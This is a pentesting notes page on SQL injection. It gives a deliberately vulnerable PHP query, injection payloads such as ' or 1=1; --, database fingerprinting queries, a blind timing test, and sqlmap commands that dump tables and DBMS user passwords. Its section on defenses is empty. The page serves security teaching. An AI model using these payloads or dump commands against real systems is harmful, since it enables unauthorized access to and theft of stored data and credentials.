Defender's Notes
  • Welcome!
  • Methodology
  • Ethical Hacking
  • Resources/Blogs/Conferences/Labs
  • Writing Vulnerability Reports
  • Linux Tips
  • Certifications
  • Bug Bounty
    • Hints
  • Python
  • PenTesting
    • Recon
    • Network Scanning
    • Reverse Shell Payloads
    • API Security Testing
    • 53 - DNS
    • 21 - ftp
    • 139,445 - SMB
    • 111,2049 - rcpbind
    • Authentication
    • Scripting
    • OSINT
    • Cloud Security
    • Reverse Engineering
    • Password
    • Proxy Chain
    • Steganography
    • Buffer Overflow
  • Windows
    • Recon
    • Golden/Silver Ticket
    • PowerShell for Beginners
    • Windows Priv Escalate
      • Icecast (RPC)
    • Kerberos Attack
  • Web Pentesting
    • 80,443,8080 - Recon
    • Resources
      • Burp Suite
    • Web Vulnerabilities
      • WordPress
      • CSP Bypass
      • JSON Web Tokens
      • Insecure Desensitization
      • Open Redirect
      • Command Injection
      • Path Traversals
      • SSRF
      • SQL Injection
      • IDOR
      • Shellshock
      • Heartbleed
      • Session Attacks/Bypass
      • XSS
      • XXE
      • CSRF
      • File Inclusion (Local/Remote)
      • Drupal
    • OWASP Top 10 2017
      • Top 1: Injection
      • Top 2: Broken Authentication
      • Top 3: Sensitive Data Exposure
      • Top 4: XML External Entities (XXE)
      • Top 5: Broken Access Control
      • Top 6: Security Misconfiguration
      • Top 7: Cross-Site Scripting (XSS)
      • Top 8: Insecure Deserialization
      • Top 9: Using Components with Known Vulnerabilities
      • Top 10: Insufficient Logging & Monitoring
    • OOB
    • Java
    • Python Web Security
  • Linux
    • Upgrading shell
    • Linux Priv Escalate
      • Path Variable Manipulation
      • Systemctl
  • Binary Security
    • AOT
  • Hardware Security
    • Wi-fi
    • Radio
  • Mobile Security
    • Android
    • SMS
  • Videos
    • IppSec Videos
    • The Cyber Mentor
Powered by GitBook
On this page
  • What is it?
  • Common SQL Verbs
  • Example
  • Balancing a payload
  • Exploiting
  • In-band SQL injection
  • Blind SQL injection
  • SQL Injection Defenses
  • Resources

Was this helpful?

  1. Web Pentesting
  2. Web Vulnerabilities

SQL Injection

PreviousSSRFNextIDOR

Last updated 4 years ago

Was this helpful?

What is it?

Common SQL Verbs

Common SQL Statement verbs

  • SELECT - Retrieves data from a table

  • INSERT - Adds data to a table

  • DELETE - Removes data from a data

  • UPDATE - Modifies data in a table

  • DROP - Delete a table

  • UNION - Combines data from multiple queries

SQL Query Modifiers

  • WHERE

  • AND/OR

  • LIMIT #1, #2

  • ORDER BY #

Special Characters

  • ' and " - string delimiters

  • --, /*, and # - comment delimiters

  • *and % - comment delimiters

  • ; - Ends SQL statement

  • =

Example

When attempting a SQL injection, we ideally want to input data that will cause a syntax error, then try to get normal result with additional characters, then we can input verbs or modifiers knowing it will run.

Sample server side code

$sql = "
SELECT *
FROM sers
WHERE lname='$_GET["name"]';
"

Normal input: Defender URL: http://test.com/sqli.php?name=Defender SQL Query: SELECT * FROM Users WHERE lname='Defender'; Results: Normal result

Injected Input: Defender' URL: http://test.com/sqli.php?name=Defender' SQL Query: SELECT * FROM Users WHERE lname='Defender''; Results: ' causes syntax error

Injected Input: Defender'; -- URL: http://test.com/sqli.php?name=Defender'; -- SQL Query: SELECT * FROM Users WHERE lname='Defender''; --; Results: Returns normal result

Injected Input: Defender' or 1=1; -- URL: http://test.com/sqli.php?name=Defender' or 1=1; -- SQL Query: SELECT * FROM Users WHERE lname='Defender' or 1=1; --; Results: Return all rows from Users table

Balancing a payload

Quote balancing

If commenting -- does not work. We can alternatively use string statements. Example Injection: Defender' OR 'a'='a .Example Statement: SELECT...WHERE lname='Defender' OR 'a'='a'; .

Column numbers balancing

INSERT and UNION statment require number of columns required or used

Data type balancing

INSERT and UNION statements require data type associated with columns to match

Exploiting

DB Fingerprinting

# Special Functions/paremeters
## MySQL or SQL Server:
SELECT @@version

# String concatenation
MySQL: 'Te' 'st'
MSSQL: 'Te'+'st'
Oracle 'Te'||'st'

# Unique numberic functions
MySQL: connection_id()
MSSQL: @@pack_received
Oracle: BITAND(1,1)

In-band SQL injection

Blind SQL injection

Test by sending input of test ' {sleep 10} then {sleep 20}. And see if server takes time to respond back.

Cheat Sheet

Displayed full SQL query as a value

info FROM information_schema.processlist

Tools

SQLMAP

Open-source, python-based command line SQL injection tool created by Bernardo Damele A. G. (@#inquisdb)

See sqlmap extended help

sqlmap -hh

Test for vulnerability

sqlmap -r sqli.txt.raw 

Lists Database

sqlmap -r sqli.txt.raw  --dbs

With found database, lets list the tables

sqlmap -r sqli.txt.raw  --D Logins --tables

With found tables, list all columns

sqlmap -r sqli.txt.raw  --D Logins --T usernames --columns

Dump all records on a table

sqlmap -r sqli.txt.raw  --D Logins --T usernames --dump

Search all columns for a string (Example "pass")

sqlmap -r sqli.txt.raw --search -C pass

Per found table and columns, dump information of query

Within a pentest you don't want to dump sensitive information as it gets cached on your machine, instead of --dump you can use --count to see amount of entries, then --dump --start=1 --stop=3

sqlmap -r sqli.txt.raw -D secretdb -T password --dump

Alternatively, dump 38th entry

sqlmap -r sqli.txt.raw -D secretdb -T password --dump --where=pass=38

Grab user and password on database management system (Used to administer DB)

sqlmap -r sqli.txt.raw --users --passwords

SQL Injection Defenses

Resources

HUGE SQL injection cheat sheet:

NetSPI SQL injection wiki:

Time-based Blind SQL Injection:

OWASP Blind SQL injection:

NoSQL injections:

swisskyrepo's guide to NoSQL Injections:

Understanding GraphQL SQL Schemas and Types:

by3bl33d3r's MS SQL command Reference

https://www.websec.ca/kb/sql_injection
https://sqlwiki.netspi.com/
https://www.sqlinjection.net/time-based/
https://owasp.org/www-community/attacks/Blind_SQL_Injection
https://medium.com/bugbountywriteup/nosql-injection-8732c2140576
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection
https://graphql.org/learn/schema/
https://github.com/byt3bl33d3r/CrackMapExec/wiki/MSSQL-Command-Reference
https://www.youtube.com/watch?v=azYwfI26oXo
https://www.youtube.com/watch?v=azYwfI26oXo